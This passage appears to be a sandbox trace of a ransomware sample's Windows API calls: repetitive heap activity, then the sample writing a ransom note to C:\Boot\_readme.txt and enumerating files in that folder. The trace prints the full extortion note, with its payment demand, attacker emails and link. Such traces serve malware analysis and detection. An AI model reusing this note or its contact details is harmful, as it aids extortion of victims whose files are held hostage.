RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0116.988] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.988] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6161678 | out: hHeap=0x35b0000) returned 1 [0116.988] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x30) returned 0x6161678 [0116.988] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0116.988] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.988] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6161678 | out: hHeap=0x35b0000) returned 1 [0116.988] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x30) returned 0x6161678 [0116.988] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0116.988] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.988] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6161678 | out: hHeap=0x35b0000) returned 1 [0116.988] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x30) returned 0x6161678 [0116.988] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0116.988] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.988] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6161678 | out: hHeap=0x35b0000) returned 1 [0116.988] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x30) returned 0x6161678 [0116.988] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0116.988] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc2e) returned 0x61eeac0 [0116.988] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.989] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0116.989] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6161678 | out: hHeap=0x35b0000) returned 1 [0116.989] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x30) returned 0x6161678 [0116.989] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0116.989] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.989] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6161678 | out: hHeap=0x35b0000) returned 1 [0116.989] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x30) returned 0x6161678 [0116.989] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0116.989] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.989] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6161678 | out: hHeap=0x35b0000) returned 1 [0116.989] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x30) returned 0x6161678 [0116.989] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0116.989] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0116.989] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6161678 | out: hHeap=0x35b0000) returned 1 [0116.989] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x30) returned 0x6161678 [0116.989] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0116.989] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0116.989] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6161678 | out: hHeap=0x35b0000) returned 1 [0116.989] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x30) returned 0x6161678 [0116.989] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0116.989] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.989] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6161678 | out: hHeap=0x35b0000) returned 1 [0116.989] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x30) returned 0x6161678 [0116.989] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0116.989] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.989] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6161678 | out: hHeap=0x35b0000) returned 1 [0116.989] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x30) returned 0x6161678 [0116.989] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0116.989] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.989] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6161678 | out: hHeap=0x35b0000) returned 1 [0116.989] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x30) returned 0x6161678 [0116.989] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0116.989] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.990] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6161678 | out: hHeap=0x35b0000) returned 1 [0116.990] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x30) returned 0x6161678 [0116.990] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0116.990] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.990] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6161678 | out: hHeap=0x35b0000) returned 1 [0116.990] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x30) returned 0x6161678 [0116.990] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0116.990] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.990] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6161678 | out: hHeap=0x35b0000) returned 1 [0116.990] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6161758 | out: hHeap=0x35b0000) returned 1 [0116.990] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164ed8 [0116.990] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0116.990] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0116.990] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0116.990] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.990] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164de8 | out: hHeap=0x35b0000) returned 1 [0116.990] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0116.990] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0116.990] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.990] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164de8 | out: hHeap=0x35b0000) returned 1 [0116.990] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0116.990] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0116.990] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.990] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164de8 | out: hHeap=0x35b0000) returned 1 [0116.990] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0116.990] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0116.990] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.990] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164de8 | out: hHeap=0x35b0000) returned 1 [0116.990] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0116.990] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0116.990] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.991] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164de8 | out: hHeap=0x35b0000) returned 1 [0116.991] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0116.991] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0116.991] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.991] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164de8 | out: hHeap=0x35b0000) returned 1 [0116.991] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0116.991] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0116.991] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc2e) returned 0x61eeac0 [0116.991] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.991] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0116.991] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164de8 | out: hHeap=0x35b0000) returned 1 [0116.991] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0116.991] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0116.991] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.991] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164de8 | out: hHeap=0x35b0000) returned 1 [0116.991] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0116.991] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0116.991] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.991] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164de8 | out: hHeap=0x35b0000) returned 1 [0116.991] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0116.991] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0116.991] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0116.991] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164de8 | out: hHeap=0x35b0000) returned 1 [0116.991] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0116.991] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0116.991] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0116.991] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164de8 | out: hHeap=0x35b0000) returned 1 [0116.991] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0116.991] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0116.991] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.991] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164de8 | out: hHeap=0x35b0000) returned 1 [0116.992] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0116.992] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676ab00 [0116.992] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.992] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164de8 | out: hHeap=0x35b0000) returned 1 [0116.992] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0116.992] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0116.992] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.992] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164de8 | out: hHeap=0x35b0000) returned 1 [0116.992] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0116.992] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676ab00 [0116.992] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.992] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164de8 | out: hHeap=0x35b0000) returned 1 [0116.992] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0116.992] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676ab00 [0116.992] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.992] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164de8 | out: hHeap=0x35b0000) returned 1 [0116.992] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164de8 [0116.992] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0116.992] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164de8 | out: hHeap=0x35b0000) returned 1 [0116.992] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.992] PathFindFileNameW (pszPath="") returned="" [0116.992] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x757a0000 [0116.993] GetProcAddress (hModule=0x757a0000, lpProcName="SHGetFolderPathW") returned 0x75825708 [0116.993] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x61eeac0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0116.993] FreeLibrary (hLibModule=0x757a0000) returned 1 [0116.993] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164fc8 | out: hHeap=0x35b0000) returned 1 [0116.993] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0116.993] PathAppendW (in: pszPath="C:\\Boot\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\_readme.txt") returned 1 [0116.993] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0116.993] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164fc8 | out: hHeap=0x35b0000) returned 1 [0116.993] PathFileExistsW (pszPath="C:\\Boot\\_readme.txt") returned 0 [0116.993] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x7d00) returned 0x6770cd0 [0116.993] lstrcpyW (in: lpString1=0x6770cd0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" [0116.993] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg", lpString2="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" [0116.993] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676bc10 [0116.993] CreateFileW (lpFileName="C:\\Boot\\_readme.txt" (normalized: "c:\\boot\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.994] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676bc10 | out: hHeap=0x35b0000) returned 1 [0116.994] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6770cd0 | out: hHeap=0x35b0000) returned 1 [0116.994] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0116.994] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164fc8 [0116.994] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0116.994] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164fc8 | out: hHeap=0x35b0000) returned 1 [0116.994] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.994] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x970136d0, ftLastAccessTime.dwHighDateTime=0x1d56c59, ftLastWriteTime.dwLowDateTime=0x970136d0, ftLastWriteTime.dwHighDateTime=0x1d56c59, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0116.994] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x96ccd890, ftLastWriteTime.dwHighDateTime=0x1d56c59, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0116.994] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0116.994] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0116.994] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0116.994] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, 